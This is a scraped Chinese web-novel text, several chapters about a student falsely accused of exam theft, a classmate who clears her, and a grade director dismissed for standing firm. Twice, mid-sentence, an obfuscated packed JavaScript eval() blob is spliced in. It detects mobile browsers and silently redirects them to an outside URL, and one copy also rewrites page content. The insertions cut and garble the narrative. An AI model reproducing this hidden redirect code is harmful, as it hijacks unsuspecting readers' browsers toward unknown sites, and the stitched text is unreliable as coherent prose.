姜岁安对试卷的难度感知向来不准,于是只能旁敲侧击夏静雯的感受。夏静雯说,这次是有些难度的。 在听到这个答案的一瞬间,姜岁安抿着嘴唇,笑不外露,餐盘里油腻的冷冻肉制品似乎也美味了起来,散发着诱人的香气。 洗完澡回到教室时,电路已经修好了,白亮的灯光照满教室。 除联考之外,汐城一中的考试顺序不遵循高考的顺序,语文打头,数学垫后,为的就是在考试结束的那一天就能把试卷改完,然后立刻开分析大会。 正是第二天一大早,李主任正在公告栏上张贴着排名榜。 姜岁安这天没吃学校的早餐,而是准备在走读的同学那儿买个手抓饼,于是来得早,公告栏前还没有什么人。在文科的行列上照常从第二列往上扫,她心里揣着一只小兔子,兔子在心室间来回穿梭,让人忍不住眯起眼睛,轻轻咬着嘴唇。 果不其然,在她的预感之中,这一列没有她的名字。 从第一列往上走,越往上越忐忑,最终,姜岁安的名字在第二行。 她的上面,只有夏静雯一人。 原来站得高是这样的感觉,可诚惶诚恐却忽然占据了喜悦的上风,因为不知未来何以解释,害怕断崖和峭壁。 李主任见到她,姜岁安对上她的眼神,这才想起要问好。李主任没有迁怒于她的呆滞,难得露出笑容,夸她很有进步。 姜岁安正准备走,就听见了蒋翼铭那攻击性十足的声音,她猫下腰走回班,生怕听到他的大叫。早读以前,大家陆陆续续聚集在这里,而天光慢慢燃起了橙黄,好似昨晚的霞光万道。 上午的课程结束,姜岁安却忽然被陈建材叫去了办公室。 坐在陈建材位置上的不是陈建材,而是文一的班主任。此人左眉峰有一颗火痔子,身材臃肿,因为同样姓陈,经常被文二的学生打趣是女版陈建材,但风评比陈建材差了不少。 她开口的第一句,就叫出了姜岁安的名字,厉声质问她:“是不是偷了卷子?” 办公室里所有老师的视线全部集中在三人身上,盯得姜岁安喘不过气。 姜岁安比窦娥冤,脑子空白了一瞬,终于听清了她在说什么。她身正不怕影子斜,铮铮道:“没有啊,老师,您是不是搞错了。” 陈老师从身后拿出一叠卷子,“啪”一声摔在办公桌上,说:“这是别的同学在你抽屉里找到的,说是没考试之前就看到你在做这几张卷子了,你怎么解释。” 姜岁安倒吸一口气,眼睛扫过那几张试卷,只从里面抽走方知言发给自己的那张,解释说:“这是我朋友的小测卷,他借给我用来刷题,其他的几张我考试前没有见过,有什么问题吗?” “哦,共犯是吧,我说怎么平时考七八十,这次这个难度的卷子能上一百三呢。有这个心思花到正道上,动歪脑筋有什么意思……”她不听姜岁安的解释,坚持找她讨要剩下几科卷子的说法。 姜岁安不受无端的指控,一股脑把前因后果说了出来,顺便问出了自己的内心疑惑:“陈老师,这是方知言给我的,转去愿海的那个方知言,这是他们的小测卷。您与其在这里污蔑我,为什么不解释一下同一张卷子冠了两个署名呢?是不是你们出题组的问——” 文一的班主任是数学组组长,虽然这是在语文组的办公室,但毕竟都是同事,周围好几双眼睛盯着,好几双耳朵听着,难免走漏风声。她自然不能让姜岁安继续说下去,于是立刻打断她:“现在在说你的问题,请你端正自己的态度。” 陈建材素来是和事佬,安抚着两人,说去查查监控就知道的事情,何必在这里针尖对麦芒。 不巧的是,由于电路老化,数学组办公室门口的监控坏了好久,而班级门口的监控也因为频频跳闸而频频黑了屏。 姜岁安知道文一的班主任向来不喜欢自己,却不知晓原因,大概因为她瞧不起陈建材,觉得这样成日懒懒散散的教师教不出什么好苗子,而姜岁安这样“不着调”的学生却能在他的手下屡屡威胁到她班级的学生? 最后李主任来到了监控室,简单了解事情原委之后,说让姜岁安先去食堂吃饭,等事情查清楚了再说。 可陈老师并不认可这个决定,将脏水继续泼向姜岁安。 姜岁安是个急性子,若不是陈建材一直在身旁按着她的肩膀,她可能真的会抄起那卷试卷朝她扔过去。 由于证据缺乏,这件事不欢而散了,但出题组挪用试卷是板上钉钉的事情,陈老师也因为直接挪用试卷且因此造成教学事故而被罚了款,可……到底是谁偷了试卷?这事并没有解决。 姜岁安回到班上,舆论没有平息,反而让平时就待她不爽的人乘了口舌之快,不过朋友们都选择相信她,她对这些冷嘲热讽也装作都左耳进右耳出。 更多的人,则是在猜忌她和方知言的关系。 “郎君献温暖,误送虎妻断头台?这标题好啊。” “峰哥,你真有才华!” “我虽然成绩一般,但贵在清白,咱不会就是不会,从不偷鸡摸狗。” “对呀对呀。” …… 姜岁安现在心情很烦躁,自动铅笔的笔芯断了按,按了断,觉得他们要实在无聊,就滚去多写几套卷子,而不是在这里臆想风流小说。 她是很想像何佳一般上去扇陈峰一巴掌的,但是所谓说多错多,做多错多,此时此刻,再怎样雄姿英发的猪也怕被骟。 回到宿舍,她问了一圈舍友,有没有看到谁经过自己的座位之后留下了什么东西,大家都说没有印象。 “岁安,别想太多了,她就是看你不爽,不对,看我们二班的人不爽,随便找个理由来削陈建材的威风,你……刚好成了替罪羊罢了。” 可姜岁安觉得一个成年人干不出来如此徇私枉法的事情。 夜深了,何佳的床铺透着光亮,窸窸窣窣的翻书声让她心神不宁。姜岁安感受到自己的鼻息忽然重了,在何佳被窝里的灯光黯然后,才发现是自己在落泪。 在办公室的时候,忍住了;在监控室的时候,忍住了;在班级里面对流言蜚语和窗外细弱议论的时候,忍住了。可偏偏是在被窝里,这独属于自己的襁褓之中,在最后一束光暗下来之后——泪湿了枕巾。 照常起床,照常上课,提不起心情,吃不下东西。 姜岁安实在难熬这样饱受猜忌的日子了,尤其是看到数学题的时候,下意识联想下一次考试自己的排名会不会一落千丈,给人留下话柄唠? 她的指甲在牙齿之间被咬得咔咔响。 “岁安,这个题目的关键解题思路是什么?” “呃……高门士族占比变大,说明……豪强势力膨胀?” “豪强和门阀士族是一个东西吗?” “不是。嗯……宗室、外戚的占比降低,说明皇权弱化,而两晋一直是北方士族掌权,所以C也排除,最后选D。” 历史老师让她坐下:“坐下吧,桌上的数学收一收。历史课上,历史卷子都没拿出来,是不是有点不合适呢?” 姜岁安坐下时动作有点快,椅子腿擦过地面,发出短促的声响。 吱! 魂悸魄动。 这场脚底板与脑浆糊的挣扎持续了很久。 姜岁安又不得不开始游离了。 喂! 快游回来! 课间十分钟,她站在电话机前,左手将指甲嵌进肉里,右手将话筒举在耳畔,打了电话给姜女士。 姜女士和牛先生二话不说,在周五中午就跟陈建材请了假,把她接回了家。 从陈建材办公室签完请假条的牛先生安慰她:“姑娘,爸爸妈妈永远相信你,去他大爷的狗屁老师,哪有这么污蔑学生的?” 姜女士摸摸她的头:“就是。” 走向校门口的路上,撞上了夏静雯,她步履匆匆,让姜岁安不要做什么傻事,自己永远都会相信她。 姜岁安抱了抱她,说:“我只是最近太累了,你放心,没做过就是没做过,别人长的嘴我也管不住,但也许……管住自己的心就好了!”她说完,就转身出了校门。 夏静雯盯着她的背影,眉头紧皱。 她望着姜岁安拽着书包带子钻进那辆黑色轿车的后座,车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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何佳不再隐瞒,想到与夏静雯没有什么利害关系,便说:“考试前一天中午,大家吃完饭都回宿舍休息了,我留在教室,那时候有人来检查电路,于是关了闸。陈峰拿了一叠试卷,走到姜岁安的位子上,翻了她的书桌,说什么‘这贱人怎么有这个卷子’‘都不用我栽赃嫁祸’了这样的话。 “我对他这样的人向来提防,提前按了录音键把他说的话都录了下来,就这么简单。” 夏静雯问:“他威胁你,所以你没把真相告诉李主任他们?” “不,我只是单纯不喜欢姜岁安,而且,她要是真提前有了那张卷子,我为什么不能让陈峰去举报?” “她的卷子是方知言给的,这张卷子呢,又是愿海校区重点班的小测卷,被陈老师直接抄过来作了我们的月考卷子而已,她也挺无辜的,刚好撞枪口上了。” 听到这句话,何佳的心里揪了起来。 何佳突然无奈地笑了笑:“我怎么说?我带MP3来学校录音,本身就不合校规,我可不像你们,即使犯了错,也都像蜻蜓点水一样,不痛不痒就过去了。我也不像姜岁安一样,自以为是,总想着用替人出头来羞辱他人。” 夏静雯伸手拨开她的短发,将一只耳机塞进何佳的耳朵里,遂将自己的长发撩开,让耳朵和白色的耳机暴露在夕阳之下。何佳只觉得她疯了,扯下耳机欲站起身,可夏静雯的力气很大,将她钉牢在座位上。 夏静雯放了首歌——梁静茹的《勇气》。 夏静雯的头发很长,是整个年级里头发最长的女生,长发总高高地扎在后脑,打理得柔顺,她眉目英气而锋利,整个人神气精神。 她原先觉得夏静雯与姜岁安很像,所以对她捎带敌意,但似乎,夏静雯的自信张扬与姜岁安身上若即若离的文艺忧郁不同,她亦姿态昂扬,但是纯粹的昂扬,因而让自己讨厌不起来。 夏静雯长发散落下来,顺风飞扬,剑客般飘逸。她的身上有一股淡淡的木质香,不知道是不是洗发水的味道,总之,十分好闻。 何佳愣了神。 这个意气风发的年级风纪委员,此时正在与自己同流合污,在本该待在教室写作业的时间里,跑到高高的比赛看台上,吹着风、听着歌、聊着天、齐眉相望。 这是她第一次与同桌之外的人靠得如此近。 “那你不想羞辱她吗?用你认为的羞辱的方式?渡人比妒人,谁的权力优先等级更高,不言而喻吧……”夏静雯说。 何佳思考了好一阵,说,她只有一个条件。 “你说?”夏静雯侧脸,以为是要让自己主动上交MP3才答应把录音供出去,于是心里也没什么底,耳机里在唱什么此时也有些听不大清,只顾着看她的嘴形了。 何佳盯着天边外:“我要你们文一每一次小测的试卷。” 夏静雯在心里长舒一口气,欣然答应了。 她伸手要找何佳拉勾,何佳盯着她指甲修剪圆润的小指,情绪复杂,没有伸出一直藏在袖子里的手。 夏静雯很自然地把手收回,插在校服宽大的口袋里,把设备的声音调大。 足球场上对峙的球员们在某方进了一球后朝主力队员聚拢,随后又分散,如同蚂蚁,小小的,看不清脸。 跑道上不乏有大胆的情侣肩并肩散着步,时不时还要打闹逗趣。 夕阳西下,预备铃响。 一曲完毕,话题终了。 17. 同情的分寸(五) 何佳的MP3是母亲采了一辈子茶叶买的。 她的父亲好赌,弟弟基因性痴呆,因而——一辈子——这话并不夸张。 说舍不得村庄是假的,舍不得母亲却是真的。 母亲不会用MP3,所以这个小小的器具里,并没有她的声音,可却装着离家孩子永恒的思念,不必回去,也再回不去。 母亲一开始是希望何佳上完初中就留在村里干活的,何佳心气高,人也傲,誓死要读书,拿着柴刀与她掐过架,与母亲很不对付。可后来,她的中考分数够到了汐城一中的最低分数线时,只有母亲支持她。 村里给了家里一些补助,至于是不是都被那个男人拿去赌了,她不知道,只知道坐上大巴离开的那一天,母亲塞给她一千块钱现金和一个不知道什么牌子的MP3。母亲说,城里的孩子都有这个玩意儿,所以何佳也要有。 可她却混淆了智能手机和MP3。 她的MP3里仅存着两三首歌,其余的基本都是从电脑里拷贝的英语听力原文和老师讲解试卷的语音。 这二三首歌里,刚好就有那首《勇气》。 何佳找到了陈建材,上交了这个物证。 其实在夏静雯找到自己之前,她已经在纠结这个事情了。她是不相信姜岁安会作弊的,因为她这个人平时要么安安静静,要么神经兮兮,貌似并不很在意成绩,但陈峰的话又让人浮想联翩,她不得不开始猜忌姜岁安此人是否表里如一,甚至抱有阴暗的希冀。 最后是夏静雯撕破了这层窗户纸,把自己的所有幻想打碎,而后不得不面临一个关乎她人“命运”的选择。 倏忽之间,何佳觉得自己十分重要。 也难怪姜岁安迷恋这种感觉吧。 可她发过誓,自己断然是不能变成姜岁安那样的人的。 陈建材并没有指责她为什么要带违禁品来学校,检查了里面的内容之后,见她双手环在肚子前,神色不安,所以郑重点点头,说:“好,我知道了。小事儿,老师给你兜着,以后不许带了,回班去吧。” 何佳这才发现,原来每个人,是近似一样的。 近似为人,为人近似。 还是原来,原来所谓大事,是迈出去一步之后,狭道沦为平川,左顾右盼,凭心选择左右与去留,就算站在原地,也不乏是一种选择。 站在走廊的围栏前,何佳极目远眺,天空摊开一卷没有边境的蓝,偶尔有鸟飞过,鸟聚集得多了,就在空中盘旋,最后默契地排成一个莫比乌斯环,你追着我,我追着你。 她其实还没正面直视过汐城的城区,她觉得自己永远都在仰望这座城市,于是到后来习惯于不抬头,但似乎站在楼上眺望的感觉很好。 就好像在看台上与夏静雯暗暗较劲那样。 何佳仰首。 “啊——” 回到家的姜岁安洗了个澡,洗尽晦气,躺在床上,长长地喊叫了一声,把厨房里请假回家的的姜女士和牛先生吓了一跳,两人一锅铲一菜刀地出现在她面前,倒是把姜岁安吓得不轻。 吃完饭后,姜岁安接到了夏静雯的电话。 “岁安,我知道是谁祸害你了。” 姜岁安竖起耳朵,一股恼火直冲天灵盖,压着嗓子问:“谁啊?” “就是那个陈峰啊,我估计是为了报复你。”夏静雯说。 “早该想到了,除了他谁还会用这种下三滥的招?我真服了,什么垃圾小人啊!”姜岁安无语。 “那你知道是谁帮你澄清的吗?” 姜岁安以为夏静雯在邀功,咧开嘴,顺着她问:“谁呢?” “你们班的何佳。”这个时候排队等着接电话的学生很多,夏静雯只能半掩着嘴说话。 何。 佳。 姜岁安的笑容僵住了,一种奇特的感觉从脊椎爬上来,话语的抽屉都被打上了封条,只有耳朵这两个孔能透进夏静雯的声音,却听不清明确的字句。 “啊……这样啊……你可得帮我好好谢谢她。” “感谢的话,你得亲口告诉她呀,让我这个善意第三人代替,貌似不是你的作风。” 夏静雯特意强调了“亲口”二字,虽不知她们有什么特别的过节,但毕竟是姜岁安欠了那个女孩的人情。 “算了,不说这个了,你打算什么时候回来?陈建材在我们班讲试卷的时候又在那里念叨你,说你作文写的很好啊这这那那的……听着可烦。” “过了周末吧,让我好好趁这个机会在家里补个觉。” “周六级会可是要表彰月考的,你确定不回来?之前考差了的时候你可是八抬大轿都请不走,死活不愿意去的,现在,第二名诶,你不想站在台上打那些贱人的脸吗?” “不必了,本来上台也不是为了给这些人看的,除了我自己,应该也没人会希望我上去领奖。”姜岁安说,这是一种成熟的通透。 夏静雯笑她:“什么时候,你也变得跟他一样悲情敏感了?” 姜岁安知道她在说谁,郑重咳了几声:“我很难过,你对我真是太不了解了。” “姜岁安小朋友,别装深沉了……好了,我不能占着电话机跟你说这些了,等下李主任巡楼要骂我的,就先挂了啊。” “好,拜拜。” “嘟——嘟——” 天还没黑,灰蒙蒙地明亮,下一秒可能混沌,可能晴明。因为牛先生要赶回餐馆掌晚席的勺,所以晚饭吃得很早。 姜岁安并不打算继续在屋里整理了,在与姜女士和牛先生担保过“绝对放心”的誓言后,独自穿着冲锋衣,拿着一本有笔扣的日记本和一盏小灯,往流浪者山去。 本子里载有诗歌、随笔,甚至小小说,署名都是她自己。 嘴是说给别人听的,纸和墨都是说给自己听的——私人但真诚。 爬上流浪者山的时候,太阳刚好在天际线露出半个脑袋。她坐在秋千上,咬开笔盖,笔尖触碰到白纸的一瞬间,脑袋也变得一片空白。 “沙啦啦——” 一阵树和草地交织的躁动吸引了她的注意,也让手里的笔掉了下去。就在姜岁安蹲下去在春天后的草地上寻找它的时候,一双手伸到自己面前。 “你怎么在这儿?你们不是在连周吗?”方知言半跪着,把那支笔递给她,问。 姜岁安接过,伸手将他拉起来:“太累了,所以请假回来休整两天,周天下午就回去。” 方知言双手环胸,居高临下地看着她,轻轻挑眉道:“瞒我?” “你都猜到了还问我。”姜岁安不想说,怕方知言把责任揽到自己身上。 他问姜岁安,有什么是要在这里写的? “这是我的秘密。”姜岁安把笔记本紧紧揽在怀里。 方知言弯下腰凑近姜岁安,学她的习惯——歪着头,却在听见她呼吸停滞的那一瞬间乱了方寸、红了羞面,依然稳着气息开口:“那……这里面有我吗?” 姜岁安咬牙,勾勾唇角,眯着眼睛比谁更像狐狸:“姜女士、牛先生、夏静雯、蒋翼铭、陈建材,”她刻意放缓了语速,煞有介事地补充,“还有,你。” 方知言被“你”绊了一脚,向后趔趄一步,便听见姜岁安继续道:“不过,今天要写的故事呢,主角不是你,也不是我。” 她说自己一定要懂得以德报怨,他不明白她的意思,可却站在她身边,静静等待太阳落山,等待姜岁安把那枚灯泡挂在一柳垂下来的树枝上。 姜岁安说:“我自己组装的,怎么样?我虽然高中物理没有及过格,但是家电什么的还是会修的。” 方知言问她有没有生产许可,姜岁安笑骂他没有情趣。 灯光照亮了他们的脸,从姜岁安的脑袋上打下来的光,让她的脸一半惨白一半灰黄,把有些距离的方知言照得好看。 姜岁安合 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“为什么一定要去还人情呢?他做出了行动,他与你保持距离,说明他已经得到了自己想要的,这时候往往不需要谁再去回应他了。 “我觉得,他应该已经很知足了,你也不要再纠结了。要是所有事情都要分清你我、占比、平均,天下都是亲兄弟姐妹还要明着算账,就不会有那么多纠纷了。” 方知言习惯于说话很轻,也很温柔,长长的段落里面偶尔有错漏的字符,也不妨碍姜岁安不自觉地耽溺在他的海洋里,吐出晶莹的泡泡装点这份寂静,告诉海洋——有鱼在听。 “我们说的是同一个人吗?”这条“鱼”突然摆尾调转方向,朝海面游去。 “不是……吗?”平静的海无风起浪。 姜岁安望着他傻笑:“你说是就是吧,我信你。” 方知言这时候才明白,她说的人不是自己,有点失落,很快释怀,随之思考,得出答案。 长久的沉默之后,方知言问:“姜岁安,你不觉得这是出于同情吗?” 姜岁安思考过后,说:“我不愿说这是同情,因为我也不会希望有人对我好,是因为‘同情’才释放的善意,所以,己所不欲勿施于人吧。” 姜岁安说她不需要同情,也不喜欢施舍别人同情。 但他觉得,自己恰恰需要姜岁安的同情—— 一种还算有分寸感的同情,对自己来说,是最好的保护伞。 有同情才会靠近。 靠近了才会有联系。 联系了才会有故事。 故事不需要结局。 而同情不需要太多,分寸最好是上下一个脑袋的距离——她站得太高,姜岁安就看不见自己了,她站得太低,自己就看不见姜岁安了。 “所以,你来这里只是为了写日记?” 姜岁安说这不只是一本日记,而是一个控制自己情绪的方法:“像我这样感性的人,要是什么事情都憋在心里,迟早会久病难医。 “方知言,你知道吗?对于我来说,写下来,痛苦和喜悦才能真正过去,只有痛苦和喜悦过去了,才能继续写。 “循环循环,直到累了或者手断了,或者某一个想法再也不会出现了。” 方知言既没有时间理解她的话,也没有时间理解她。 姜岁安问他:“你呢?为什么来这里?” “我们校区刚好放假,我来这里放松一下,呼吸呼吸新鲜空气。” “你爸妈居然同意?” “他们掂量得很清楚,这个时候对我放宽松了很多,所以我最近也相对自由。对了,明天我准备去看赛马比赛,你去吗?” 姜岁安对新鲜事物的好奇心驱使着她答应了他的邀请:“好。” 方知言收拾起身,腿脚有些麻,整理好衣服上的杂草和泥土:“那我先回去了,你也早点回去,晚了不安全。” “好。” 18. 同情的分寸(六) 三号枣红色的纯种马从外道赶超上来,与一旁的对手形成了平行之势,两只马镫几乎相碰。 最后一百米,骑手在空中空甩鞭子,三号猛地往前一蹿,半个马身冲过了白线。 观众席爆发出雷霆掌声,姜岁安情不自禁地跟着人群一起欢呼,视线跟随着意气风发的三号和它的骑手,直到马匹们陆陆续续跟上,一场比赛敲钟结束。 她原本以为活动就此结束,方知言就着急挽留道:“不吃个午饭再走吗?” “吃完午饭呢?你看起来好像还藏着什么呢。”姜岁安挑眉。 “想骑马吗?” “你都不问我‘会不会’,怎么就问‘想不想’?”她失笑。 “因为你不会纠结前者的,现在,如何,又在逗我?” “方知言,你果真聪明。” 吃饭的时候,姜岁安问,为什么方知言仅凭第一眼就能押三号会赢。 它不是最壮的、不是最高的、腿也不是最长的,甚至在姜岁安看来,它也不是长得最好看的。 方知言说,那是一种直觉,不知道为什么,就是直觉。 姜岁安伸手挠挠脸,看着快空了的餐盘,说:“方知言,这顿我付吧。我爸说,欠人太多人情不好,到底是同学,你不用像照顾妹妹一样对我。” 方知言有回避她的重点,说,按常理推断,自己应该比她要小。 “Why?”姜岁安果真中招。 “我提前上了学,但只是一年而已。” “真可怕……却说我们年级确实成绩好的很多年纪都小,理科班有个化竞一等奖的同学,我们同一天生日,她比我却活活小了整整三岁——”她煞有介事地伸出三根手指,语气耸人听闻。 总算是将姜岁安从算账的思考里拎了出来,但他知道,这顿饭应该是拦不下账单的。 来到俱乐部马场的时候,竟稀罕地没什么人,方知言牵来一匹黑马,见姜岁安也戴好了护具,就慢慢朝着她走去。 姜岁安与那匹黑马大眼瞪小眼,就这样定定站在它的面前,莫名开始凝望着它的眼睛,试图与一匹马找到些共鸣,以保证自己不会被它一个屁颠颠下马去。 方知言看出了她的顾虑,安慰姜岁安说,弗里斯兰是很温顺的马种,不用自己吓自己。 “嘘——” 姜岁安似乎从它的眼睛里看出了一匹马的前世今生,供人旅拍和骑行,没有谁像古代战场一般待其如手足亲人,于是满眼只剩下困惑和生死疲劳。却说打仗的都是热血马种,与它无关,但姜岁安莫名觉得它很痛苦。 正如方知言说的那样,这是一种直觉。 也许是自己多虑了吧。 方知言学过马术,扶着她上了马,而后牵着绳带着姜岁安在马场散步。姜岁安起初有些不适应,后来这种情绪变成了不满足,于是低头问方知言:“方知言,你会骑马吗?我指的是跑马,而不是走马。 “我想要奔腾,不想要观花。” “会。” 他明白她的意思。 姜岁安承认,自己有利用他的善良,来完成一个张扬和唯心的私欲。 “乾坤未定,你我皆是黑马”的私欲。 她虽然觉得这句话已经被用烂了,但要真在万千骐骥中选择一匹对抗三年愁愤的句子,她还是会选择这句,而不是“春风得意马蹄疾”——长安花看不尽,唯能把握的是此刻的自己。 马场很大,迎面只有风和说不清的味道,能让她暂时忘记学业烦恼、忘记人情世故,甚至忘记真实。但有一件真实的事无法忽视,那便是方知言的体温和心跳,以及背后真实有人存在,这个人也不是什么别人,而正是方知言。 大概是入夏在即,汐城的春天偶有高温,将他晒得热,将地也晒得热。 “夏静雯告诉我,今天晚上是表彰大会。你知道吗,这次我考了第二名!但我不想去,因为我知道我以后大概率不会再有这样的成绩了,所以还是不要在年级面前刷脸为好,默默地成为‘第二名’的其中一名,哪怕只有自己记得,也是极好的! “方知言,你知道吗?我有时候晚上会想很多事情,从‘冥王星为什么被踢出了九大星系’到‘唯世和几斗到底谁是男主’——你看过吗?不知道是哪一天,我想到,你应该改名叫‘方知行’,因为‘知行合一’乃是圣人之境界,而你又太不像个人……我当然没有骂你的意思,只是觉得你温柔得可怕。知言知言,知言可又不会巧言令色,说的话有时也不够好听,所以我的分析还是很有逻辑的。 “有些事不知当讲不当讲,其实……我对你多有挑衅和撩拨,但真的只是想看你脸红而已,然后找到你生而为人的证据,并不是自恋到以为你喜欢我。虽然很扯,但你看你能接受这个说法多少吧……当然,如果你愿意喜欢我,我也欣然接受。” 方知言避讳了某个话题,说她真诚又奇怪,将速度提了上去。 “说这么多其实也没有别的意思,只是刚刚在跟马儿进行‘灵魂共鸣’的时候,忽然有感而发——情绪是很珍贵的。” 方知言选择了不回话。 他确定了对姜岁安的这种情感究竟是什么。 从前觉得是性格互补下的自然靠近,甚至有利用她偷学议论文写作的心思,熟悉了之后以为是贪恋同情,可归根结底,原来是喜欢。 伟大的禁忌。 ——如果你愿意喜欢我,我也欣然接受。 她把这样的问题选择权抛给自己,姜岁安显然没有自己想象得单纯,但这样也好。 “谢谢你,姜岁安。”他说。 “还有就是,别轻易说‘谢谢’,我明明什么也没帮你,要谢谢就谢谢它吧,我俩加一起可不轻。”姜岁安摸了摸黑马的背。 他刚要脱口而出“谢谢”二字,就听见姜岁安的嘘声。 “方知言,憋住。” 他收住了道谢的执念,也开怀地笑出了声。 临别之时,姜岁安说,自己万分有幸能遇见生命中的很多人。 他们都在自己的笔记本里,时而正面时而负面,每一章节里的人物脸谱化程度不同,可拼凑在一起之后,每个人都复杂多面。她说自己其实并不擅长解决关系上的纠葛,于是选择了对何佳逃避。她跟她应该会就百日誓师之后毫无瓜葛的,可被帮助之后,她本能地不愿欠她什么,又担心给予她什么打破现有的平衡。 “对了,你应该猜到我昨天说的是她了吧。”姜岁安问。 “是。”方知言回答,虽然过程错漏百出,虽然确不知晓她们之间到底又发生了什么,但至少结果正确,多少也有分拿。 “那就好,不然我空费口水了。方知言,再见啦。” “再见。” “等等,”姜岁安突然想到了什么,喊住了方知言,“你的电话号码多少?我们现在两个校区不是分开连周了吗,你要是在学校有什么事情想及时找人倾诉,或者想吃什么东西,可以在我们放假的时候打过来,举嘴和举手之劳嘛,就当是为高考那点分行善积德了。” 方知言以3-4-4的结构报完号码之后,姜岁安心满意足地转身走了。 随后,她朝无人的前方大声喊:“方知言!感谢你带我来这里,我很开心!非常开心!” 没有回音,没有回应,可她依然知足乐呵。 周日下午回到学校的时候,她如往常一样走进教室,大家也都别无异样,唯独陈峰不见踪影。 她心虚地瞥了一眼何佳,正巧对上她的目光,无言,但两人都在心里长长松了口气。 前桌告诉她,陈峰因为污蔑和盗窃试卷,最近跟学校闹得很凶。 姜岁安:“他这种人还能留在学校的余地到底是什么啊?” “你不知道吗?他不是一直说自己父亲又升官了吗?” “谁听他说话啊。”姜岁安思索片刻,确认对这条信息没有印象。 “升区长啦。李主任因为这个,据说被请去局里喝过好几次茶呢。李主任虽然严格,但可是公认的刚正不阿之人,这次直接给了他劝退处分,但毕竟……一中有血性之人还是少,没什么有权威的老师支持她,她自己也就只能一个人扛了。 “你说……李主任会不会有事啊?” 姜岁安察觉不妙:“应该不会吧……” “但愿吧。” 姜岁安一边从书包里翻出卷子和笔记本,一边在心里默默支持李主任的深明大义。 去打水的时候路过办公室,她下意识往玻璃里看了看,没发现李主任的身影,心里一沉。 手背传来灼烧的痛,她下意识放手,玻璃杯砸在瓷砖上碎了满地。 姜岁安只好硬着头皮把碎片收拾好,在众目睽睽之下假装无事发生。转身之间,就撞见了从楼梯往上走的李主任。 李主任让姜岁安到她办公室等她。 “岁安,上个星期的事情我们已经调查清楚了,但这次找你来不是为了说这个。我跟陈老师聊过你,他说你思维活跃、有个性,缺点也很明显,就是情绪化。这种情绪化不是说你容易着急,而是你对情感的向往,很多时候会造成方向的误判。 “百日誓师的时候我接到同学的举报,说你和方知言走得很近,当时你们给我的回答模棱两可,但我觉得既然都已经分开了,调整朋友情或者男女情都是你们自己的事情。” “老师,您是不是要说,让我不要影响方知言?” 李主任拉开一旁的椅子,摇摇头,示意她坐下。 姜岁安食指搭在大拇指上,指甲不安地掐在角质皮上,想要让疼痛提醒自己保持冷静。 她不情愿地坐在了她对面。 “他现在在愿海校区一直都是年级第一,你也是个很独立、很优秀的学生,我原本不必咄咄逼人去讨论你们学生之间情感的事,但老师是为你们的一辈子负责的。你和方知言,私交如何我不管,但是我希望,任何人都不要扰乱你的道心,哪怕他再优秀,于你而言,都不会是你人生的全部,也不能代替你进步。 “你能利用身边的资源去学习,我觉得这很好,但是我必须得履行作为教师的责任,去警示每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300260|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个学生——苹果青时,新鲜、漂亮,但酸、抵抗性差、易蛀虫,等到红时,虽然平凡,但这才是丰收。这时候,你才发现自己内心是甜的,才不会后悔。” 姜岁安机械地点头。 李主任继续说:“听你的说法,那张卷子是已经做过的吧。你这个水平的学生,做过的题,拿高分是必然的,拿满分才是应该的,”她推了推眼镜,情态温和的神色冷下来,“既然你的理由正当,就不要刻意掩饰自己的水平,要绽放,要闪耀,上了考场才能给自己积极的心理暗示。” 姜岁安抿嘴,脸上发烫,起身鞠躬:“谢谢您,李主任。但……我们确实只是朋友。” “行了,回班学习去吧。”李主任点点头,似乎早就料到她会如此解释,也不去探究真假。从教多年,单靠谈话,她很大程度上就能判断出一个学生的行为是否需要进行强烈干预——姜岁安对自己的规划是很清晰的,因而点到为止。 但是陈峰这个学生…… 她必须严肃处理,一为学校声誉和公平正义,二为防他长大后走入歧途。 她也懂得成年人的世界凡事都要讲代价,所以面对桌上那封未署名的信也心怀坦然。在姜岁安关上自己办公室的门的时候,她打开信封,题头是“辞退通知书”,接信人是“李素岩”。 李素岩平静如常,神色不慌,依然起身离开办公室,踱步在走廊巡堂,一点声音不响,是人人都惧怕的幽灵。 解除了一番危机过后,姜岁安踏实下来,面对周测退步的名次,胸中也没有泛滥滔天的波澜,反而多了分狠烈。 至于何佳,她们依旧保持着不同频的步伐,静静在一条大路上走着,谁也不挨谁。 最后一次大型模拟考的表彰大会上,李主任上台致了辞。 她罕见地把头发散了下来,穿着一条红色的旗袍,看上去格外别扭。姜岁安捧着手里的单科状元奖状,心怦怦直跳。 她说,这是自己最后一次在汐城一中以年级主任的身份上台发表讲话了。 台下躁动一片,李主任没有像以前那样厉声喝止,而是等待学生们自己将声音收回去。 她没有讲什么考试的注意事项,而是告诉台下的他们,凡事要坚守正义。 姜岁安一句也没有听进去,将自己抽离出来,化成一个亡灵。 她看见学生们议论纷纷,看见年轻教师们在小群里纷纷发言表示遗憾,又看见老教师的司空见惯。 姜岁安眼见得台前那些领导主任们红了脸,纷纷低下头来摆弄着手机,抿着唇尴尬。她将那张奖状抓在手心里,揉成一朵纸花,直到发现了奖状已经不成形状,才想起来要好好珍惜。 恍惚间,她又遇到了那匹黑马。 它眼神忧郁神圣,载着风霜和暴风雪回到人间,寻找那被奸臣残害的主。 李主任的最后一句,是祝同学们旗开得胜,高考加油。 上一句,是——“我叫李素岩,是大家永远的李主任”。 “李主任”“李主任”叫多了,姜岁安都快忘了她的本名了——李素岩。 她刚来的时候给高三年级放了三把火,烧得学生怨声载道、悲天悯人,直到现在,整个年级都还能感受到那一个月考试轰炸后的余震。说“喜欢”肯定是假的,那几个星期,姜岁安用无比恶毒的语言咒骂过她万千遍。 